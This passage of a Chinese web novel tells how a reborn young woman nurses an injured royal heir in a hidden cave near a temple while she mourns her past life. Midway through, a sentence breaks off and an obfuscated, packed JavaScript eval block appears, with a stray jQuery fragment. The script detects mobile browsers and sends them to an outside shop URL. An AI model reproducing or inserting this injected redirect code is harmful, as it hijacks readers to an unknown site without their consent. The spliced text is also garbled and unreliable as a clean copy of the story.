贺云晟的鼻梁直挺,鼻尖落在阮青钰唇间,将触未触。
一瞬惊讶后他反应过来,阮青钰在试他的体温,然而他眼中瞳孔却迟迟不能平复。
阮青钰仔细试了,才说:“还在发烧,换药后再擦身体,要是过两天还不能退烧,就一定要去看大夫了。”
“你不是大夫吗?”
“我不是啊,我只是会处理一些外伤。”
贺云晟觉得自己可能有些太过相信阮青钰了。
等药熬好了,阮青钰拿下来放一边凉着,又拿出一个瓦罐烧了小米汤,“以后你就喝这个,凉了就挂在火堆上热一热。”
又指着包袱说:“这里是几包吃的,要是我来得不及时,你就先吃这些。这个包袱里是一些日常用物,你需要什么只管在这里找。要是夜里火小了,冷了,就自己加柴。”
想了想觉得差不多了,阮青钰拿起药罐倒出一碗来,递给贺云晟。
贺云晟端着药碗,看着阮青钰,“阮姑娘于在下是救命之恩,又如此细致照看,在下实不知该如何报答姑娘。”
阮青钰终于等到了自己最想听的话。
但现在还不到时机。
阮青钰说:“等公子脱险了,再谢我也不迟。”
篝火跳跃,贺云晟看着阮青钰明暗变换的脸,“姑娘倒是说说,我险从何来?”
阮青钰感觉到了贺云晟冰冷的语气,将自己知道的和盘托出:“你不必怀疑我,若我和害你的人是一伙的,为何要这样遮遮掩掩救治你。是昨天有人来寺中搜找水贼,我听寺中师傅说,是卫所的人。”
贺云晟只喝药不说话。
阮青钰继续说,“楚燕山一带,向来安宁,便有水贼流窜至此,也该是光州府的事情,卫所来搜捕,倒是少见。我不知道他们是不是来找你的,我只知道,光州卫是董家的势力,如果真是冲你来的,在光州地界上,董家可不是好惹的。”
“都司卫所是朝廷的,怎么,光州卫是董家私有的吗?
“你不问问我说的是哪个董家吗?梁公子是北方人,上次来我家小住,说是第一次来光州,倒是也知道光州董家吗?”
“姑娘不必打探,这不是你该知道的事情。你救了我,想要什么,尽管提,凡我所能,无不可求。其他的,与你无关。”
阮青钰不再追问,她对贺云晟的事情没有兴趣,她提起关于董家的猜测,只是为了提醒贺云晟,自己知道帮助他的风险,但还是救了他。
贺云晟听明白了她的话,也给了她承诺,这就够了。
她满意地笑了,说:“你放心,那些人来过一次就没有再来过了,这里不好找,况且董家二老虔诚礼佛,想来不会屡次打扰佛门清净。”
她从包袱里拿出一套衣服,“剪坏了你的衣服,这套赔给你,不如你原来的,也是我能买到最好的了。”
贺云晟一直光着上身,裤子也残破,虽然他觉得自己肌块分明骨肉匀停,便是如此也无损他俊美的气质,但也不想总这样在阮青钰眼前晃,他倒不觉得被占便宜,就是有失他尊贵的体统。
贺云晟接过衣服要换,阮青钰没有离开的意思。
贺云晟看着她,阮青钰反应过来:“你退烧之前,我会在这里守夜。”
“那请阮姑娘山洞外走两步,我换衣服了。”
阮青钰应着出去了,心里却在想,你还有什么地方是我没看过的吗?
上一世,阮青钰在贺云晟身边做了两年的医女,贺云晟在战场上大大小小的伤处,都是她处理的,自然哪里都看过。
那时阮青钰飘零到云方城,没有生计,眼看要活不下去。
驻扎云方城的景王护卫军招募医女。医女虽说能在军中有口饭吃,算是稳定,但女子入军中,天天伺候糙老爷们,正经人家都不愿女儿去做这些事情,便是有医女,也大多是年老的妇人。
云方城常年有战事,男丁是稀罕物。景王护卫军才想要招医女。那是世人眼中的下九流,不好招到年轻得力的。
阮青钰丝毫不懂医术,但她识字会写,通文墨。负责招募的兵长立刻招了她,说是不懂没关系,可以和医官学。
阮青钰想,母亲说得还是对的,好好读书总是有用的,当失去一切,至少学识还跟着你,是你的一部分。如果不是读书识字,阮青钰也不能在绝处寻到一条生途。
她随手拔了一根野草衔在嘴里,后仰手肘支在地上,看星空开阔。
“月明星稀,乌鹊南飞。绕树三匝,何枝可依?”她轻轻念着。
前面三个姑娘已经定了亲事,接下来就要轮到她了。
她本来以为,重活一世,能设法和林深堂堂正正结缘,让他离开前世的深渊,助他步青云践他心中事,“致君尧舜上,再使风俗淳”,把上一世的亏欠还给他。
却原来,她能为林深做的,只有放手。
在明白这件事的那一刻,阮青钰在彻骨心痛中,竟觉察出一丝放松。
往后的日日夜夜,她惶惶不可终日的忧虑都可以放下,不必再担心会失去林深,因为已经失去了。
她笑了。也不是没有好处。
她放开林深,放手的不只是爱人,还有她为将来规划的一切。
一子落全盘皆输。
然后呢?她就会任由阮家摆布落于他们的棋盘,好活赖活都只为阮家做一颗子吗?
她不甘,她不愿。她要自己选。不然,重活一世,何为?
贺云晟换了衣服,想喝粥,看了看也不知道熟没熟,他拨开山洞口的树枝,正要叫阮青钰回来,发现她这个架势,正腹诽谁家好闺女这么吊儿郎当,就发现她的眼泪一滴滴落在地上。
贺云晟轻轻把树枝拨了回去,等到阮青钰回去了,他只是问,“粥能喝了吗?”
阮青钰伺候世子爷喝了粥,擦洗一番,就要铺床睡觉。山洞并不宽敞,阮青钰把自己的被褥铺在了贺云晟旁边。
贺云晟忍不住问,“你就这么睡?”
“被褥是有些单薄,好在已经是春天了,还有篝火,不算冷。”
贺云晟不是这个意思,“你不怕我吗?”
“怕你什么?”阮青钰上一世照顾贺云晟,不知守过多少夜。
那时贺云晟是军中主将,阮青钰只是小小的医女,照顾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771496|190233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起来更要勤谨万分。现在她还占了个救命恩人的名头,有什么可怕的。
照顾伤患是一回事儿,并肩躺着过夜又是另一回事儿,贺云晟好歹是血气方刚的八尺男儿,阮青钰就这么坦坦荡荡躺他旁边,好像他是块木头一样。
贺云晟看着阮青钰,试图从她脸上找出一丝伪装的痕迹,但是没有,在阮青钰眼中,他或许就是块木头,一块受伤的木头。
贺云晟迷倒京城无数少女的魅力在阮青钰这里完全失效。
“没什么,睡吧。”说完倒头睡了。
阮青钰一夜无数次醒来照看贺云晟,其实也睡不踏实。
她上辈子伺候过贺云晟,知道他是个不喜欢将就的人。但她忽略了一件事,这位爷现在还不是驻扎北地守卫山河的大将军,还只是个富贵堆里养出来的地道皇族。
贺云晟把药熬坏了一次后,阮青钰心疼这些药材,没再让他动过手。
这些天她白天应付佛堂课业,晚上照顾贺云晟,还要被他挑挑拣拣,有时候真想撂挑子不干了,但她还有求于他。
她百计千方谋划此事,但若是求成了,她才是一辈子的牛马命,现在才哪到哪儿。
阮青钰再一次感叹投胎的重要性。
两天后,贺云晟终于退烧了,一天一夜也没有反复,伤口都在愈合,没有开裂没有化脓。
阮青钰悬着的心终于放下一些了。
贺云晟也很满意,无论是伤势的恢复还是这些天的日子。
他本以为在这里躲着疗伤,定是清苦无趣,但阮青钰想得很周全,日子没有预想得苦。
阮青钰还捧给他一本《大乘起信论》,说是她的课业,给他排遣。他没正经念过佛书,只是有时听太子提起,现下看了觉得有些意思,阮青钰有时也会和他论一论,时间倒是过得很快。
“青山寺过些日子要办法会了,佛陀圣诞法会,到时候你若好了,可以去沾沾净水,去去晦气。”
“我哪里晦气?”
“你被伤成这样只能躲在这里,不算晦气?再说了,你就没什么无奈的事情,想在佛前祝祷吗?”阮青钰问完就意识到,他是亲王世子啊,他能有什么万般无奈的事情,真是闲操心。
“必须要去佛堂才能祝祷吗?”就算好些了,贺云晟也一时不方便去人多的地方。
“也不是吧”,阮青钰看他神色,没想到大人物也有不能如愿的事,她退下手腕上的菩提子念珠给他,“这是大师傅开光的,我戴着诵了好多经,你拿着它祈愿,也是灵的。”
贺云晟没有接,“你费了好多功夫心血,我不能拿这么贵重的东西。”
“虽贵重,也不是就这一个”,阮青钰拨了下另一只手腕的袖子,有一串檀木的在上面。
贺云晟笑说,“你倒是不浪费诵过的经”,就伸手接了那串菩提子念珠。
“你既然退烧了,我就不守夜了”,阮青钰说着就往外走,又嘱咐,“别忘记吃药。”
走了一段,阮青钰想起一件事情,折回去想告诉贺云晟。
还没到洞口,她就听到了贺云晟的声音在说话,她立刻隐蔽起来。